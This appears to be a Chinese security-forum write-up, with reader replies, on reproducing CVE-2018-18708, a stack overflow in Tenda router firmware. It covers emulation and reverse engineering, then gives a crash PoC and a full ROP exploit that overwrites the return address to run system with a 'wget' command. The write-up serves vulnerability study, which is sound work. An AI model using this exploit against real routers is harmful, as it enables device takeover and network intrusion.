首页
论坛
课程
招聘
[原创]Tenda 路由器栈溢出详细分析(CVE-2018-18708)
2022-11-6 14:17 19086

[原创]Tenda 路由器栈溢出详细分析(CVE-2018-18708)

2022-11-6 14:17
19086

分析了一部分tenda的漏洞,发现存在一系列相似的栈溢出的漏洞,如CVE-2018-5767、CVE-2018-18708、CVE-2018-16333以及CVE-2020-13392等。这些漏洞的固件模拟流程一致,利用思路一致。但是仔细深入分析,会发现每个漏洞的的崩溃路径并不一致,在复现时都需要深入分析其函数调用链,确定漏洞触发路径。以CVE-2018-18708为例,本文重点学习此类固件模拟的流程以及逆向数据流跟踪的思路与方法。

1.漏洞概述

CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。

 

下载固件:https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip

2.固件模拟

binwalk解压固件

1
2
3
4
5
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
cd ./_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
 
#运行可执行文件
sudo chroot . ./qemu-arm-static ./bin/httpd

图片描述
卡在启动界面,IDA分析原因,根据字符串”Welcome to ...“来到main函数

 

图片描述
发现存在两个检查,第一个检查network,未通过则进入休眠阶段。第二个检查连接情况,未通过则打印连接失败
图片描述
图片描述

 

所以想让服务正常启动,需要对这两处检查进行patch

 

这里推荐一个IDA插件:keypatch

 

https://github.com/keystone-engine/keypatch

 

按需求对二进制文件进行patch,修改后点edit->patch program
图片描述

 

具体patch过程如下:
图片描述

分析并修复网络环境

patch完继续执行二进制文件,发现ip地址不对
图片描述

 

进一步IDA查看ip地址如何得到的,通过字符串“listen ip”定位到sub_1B84C函数
图片描述

 

下断点,gdb分析sub_1B84C函数的调用链

1
2
3
4
5
6
7
8
#qemu启动httpd程序目,并开启调试端口
sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd
 
#另起终端,gdb-mul连接
gdb-multiarch
set architecture arm
b *0x1B84C
target remote :1234

bt(backtrace)查看函数sub_1B84C的调用栈,结合IDA可以确定sub_29818调用了sub_1B84C
图片描述

 

重复上述步骤,可以得到调用链为:sub_2E420(main函数)-> sub_2E9EC(initWebs函数) -> sub_29510 -> sub_29818 -> sub_1B84C

 

接下来分析printf的ip参数v8进行跟踪:v8关联到s.sa_data[2],s.sa_data[2]关联到a1,a2
图片描述
图片描述

 

a1关联到g_lan_ip函数,最终回溯到主函数中
图片描述

 

可以看到ip的值与s和v17有关
图片描述

 

此处我们进行详细分析,根据函数名猜测getIfIp的作用的是获取ip地址,进入函数查看具体实现。
图片描述

 

getIfIp为外部导入函数,对函数名进行搜索,查找存在的动态链接库

1
2
3
4
#查看可执行程序需要的动态链接库
readelf -d ./bin/httpd | grep NEEDED
#列出所有的函数名,与要寻找的函数对比
nm -D ./lib/libcommon.so

发现getIfIp函数的本体存在于libcommon.so 中
图片描述

 

大致分析伪代码,可以看到一个系统调用ioctl(fd, 0x8915u, dest),查看这个系统调用所实现的功能

 

一般来讲ioctl在用户程序中的调用是:

 

ioctl(int fd,int command, (char*)argstruct)

 

ioctl调用与网络编程有关,文件描述符fd实际上是由socket()系统调用返回的。参数command的取值由/usr/include/linux/sockios.h 所规定。第三个参数是ifreq结构,在/usr /include/linux/if.h中定义。

 

参考:https://www.cnblogs.com/zxc2man/p/9511856.html

 

到头文件中查看,可以发现,第二个参数实现的功能正是获取IP地址
图片描述

 

第三个参数的含义需要进一步分析,先看函数整体的流程,应该就是成功获取ip地址返回v2,v2的值为0在main函数就不会进入if循环,而ip地址的值则由v17决定。进一步跟进v17,就是在getIfIp函数中的a2,由系统调用获取ip地址后赋给a2即main函数中的v17。那么想让函数按我们分析的执行,还需要分析第三个参数的含义。第三个参数与main函数的v6有关,进一步分析,与getLanIfName函数有关,依照上面的步骤发现getLanIfName函数依然存在于libcommon.so中,查看函数的本体。
图片描述

 

getLanIfName函数进一步关联到get_eth_name函数,且参数写死为0。依照上面的步骤发现get_eth_name函数依然存在于libChipApi.so中,查看函数的本体,函数返回v1,即网卡的名称,上述系统调用的第三个参数也就清楚了。
图片描述

 

至此,我们可以梳理一下整个流程。在main函数中,首先调用getLanIfName函数进而调用get_eth_name函数获取网卡名称。然后将网卡名称作为参数输入到getIfIp中,函数功能为寻找网卡名称为br0的ip地址并传递给V17。

 

所以,想让二进制程序监听正确的ip地址需要新建一个名为br0的网卡。

1
2
sudo brctl addbr br0
sudo ifconfig br0 192.168.2.3/24

重新启动,找到了名为br0的网卡并获取了ip地址:
图片描述

 

尝试访问web页面,还是存在错误:
图片描述

 

按照0431师傅的做法:cp -rf ./webroot_ro/* ./webroot/,然后刷新一下就正常了
图片描述

 

到这环境就搭建好了

3.漏洞分析

根据官方给出的PoC,可以定位到漏洞点的位置
图片描述

逆向分析回溯函数的调用关系

得到调用链为:sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC (initWebs函数)<- sub_2E420(main函数),分析清楚了触发漏洞的路径。

逆向数据流跟踪参数的来源

(1)被溢出的缓冲区a2来自sub_C24C0函数的上一级函数sub_C17A0
(2)溢出的字符串src的来源
src ← sub_C24C0函数的a1← sub_C17A0的a2参数 ← sub_C14DC的a2参数 ← formSetMacFilterCfg函数的v39 ← sub_2BA8C(v3, "deviceList", &unk_F5124)函数的返回值

 

由此可以判断出,程序获取到HTTP请求中deviceList的值,并一路传递到sub_c24C0函数的漏洞点。

调用路径中的分支跳转条件

(1)formSetMacfiltercfg <- sub_42378

 

可以看到要进入formSetMacfiltercfg函数需要访问“/goform/setMacFilterCfg
图片描述

 

(2)sub_C14DC <- formSetMacfiltercfg
图片描述

 

可以看到,进入sub_C14DC函数,需要v19为0,则需要sub_C10D0的返回值为0
图片描述

 

sub_C10D0返回v1,可以看到,需要输入的数据a1为“black”或“white”

 

(3)sub_C24C0
图片描述

 

到达漏洞点需要检索到包含‘\r’的字符串

 

结合抓包分析报文确定poc格式为:

1
2
3
4
5
6
7
8
import requests
 
url = "http://192.168.2.3/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "white", "deviceList": "\r"+ "A"*500}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

这里有个需要注意的地方,必须一次性发包两次才能访问到漏洞的路径,具体原因没有深入分析,希望有懂的师傅帮忙解惑!

 

运行PoC成功覆盖返回地址
图片描述

4.漏洞利用

(1)偏移量

 

通过IDA静态查看即可确认偏移量为176,也可以动态调试获得

 

(2)利用思路

 

需要找到system函数地址,并将system函数地址存入某个寄存器,将system函数参数传入R0寄存器,并跳转到system函数地址所在的寄存器。

 

首先,确定system函数的地址需要先找到libc的基址,根据偏移再计算出system函数的真实地址。qemu-user模拟不支持vmmap指令打印内存信息,官方给出了说明:https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/commands/vmmap.py。所以我们使用puts函数泄露libc地址,gdb调试下断点到puts函数,可以看到地址为0xff5c1cd4,在IDA中查看system函数的地址为0x35cd4,得到偏移量为:0xff5c1cd4 - 0x35cd4 = 0xff58c000.而且需要说明的一点是,每次调试libc的基地址都是相同的,这是因为gdb调试的默认关闭了ASLR。
图片描述

 

其次,需要找到一个可以控制R0的gadget

1
2
3
4
5
#gadget2
sudo pip3 install ropgadget
 
ROPgadget --binary ./lib/libc.so.0  | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3

可以看到,在控制R0之后,这条指令跳转到R3,因此,我们可以再找一条控制R3的gadget

1
2
3
#gadget1
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}

这样就组成了payload:padding + gadget1 + system_addr + gadget2 + cmd

 

padding将函数溢出后覆盖返回地址为gadget1,gadget1将system_addr弹出到R3,将gadget2的地址弹出到pc执行gadget2,gadget2将此时栈顶的cmd参数弹出到R0,接着跳转到R3执行system函数。

 

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
from pwn import *
 
cmd="wget 192.168.11.35"
libc_base = 0xff58c000
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
 
payload = 'a'*176
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
 
url = "http://192.168.2.3/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "black", "deviceList": "\r" + payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

可能是qemu-user模拟的原因,直接启动的话无法看到system函数的执行,需要加上-strace才能看到被执行!
图片描述

5.总结

本文重点分析了模拟环境时的patch过程,以及如何逆向分析网络问题。针对tenda路由器模拟的一个共性问题:需要新建一个br0网卡,进行了逆向分析找到了原因,对路由器网络服务启动的流程有了一个更清晰的认识。

 

另外,对qemu-user + gdb调试的方式有了更深体会。相比于系统模拟,用户模拟启动更快速更方便,不需要配置qemu虚拟机和宿主机的网络连接。但是会存在一些不能查看内存信息,执行命令不能显示等奇奇怪怪的问题。总的来说,两种方式各有优劣,在之后的调试过程中可以按需选择。

 

最后,实践体会了逆向数据流跟踪的思路与方法。

6.参考

https://www.anquanke.com/post/id/204403#h2-0

 

https://bbs.pediy.com/thread-273921.htm


[招生]科锐逆向工程师培训46期预科班将于 2023年02月09日 正式开班

收藏
点赞7
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/11/25 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (7)
雪    币: 311
活跃值: 活跃值 (276)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jackbow 活跃值 2022-11-7 17:28
2
0
谢谢大佬,学习了
雪    币: 1472
活跃值: 活跃值 (1738)
能力值: ( LV6,RANK:88 )
在线值:
发帖
回帖
粉丝
ZxyNull 活跃值 2022-11-8 15:26
3
0
谢谢大佬,学习了
雪    币: 10252
活跃值: 活跃值 (10996)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2 2022-11-9 14:13
4
0
感谢分享
雪    币: 221
活跃值: 活跃值 (347)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
五两 活跃值 2022-11-9 22:11
5
0
膜拜大佬
雪    币: 21
活跃值: 活跃值 (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
天hades 活跃值 2022-11-10 14:53
6
0
感谢分享,认真学习
雪    币: 3323
活跃值: 活跃值 (2251)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
Tokameine 活跃值 2 2022-11-10 21:47
7
0
感谢分享
雪    币: 210
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
splashsc 活跃值 2022-12-7 19:50
8
0
计算基址那块,是puts函数在IDA中的地址为0x00035CD4,不是system,笔误了,文章很棒
游客
登录 | 注册 方可回帖
返回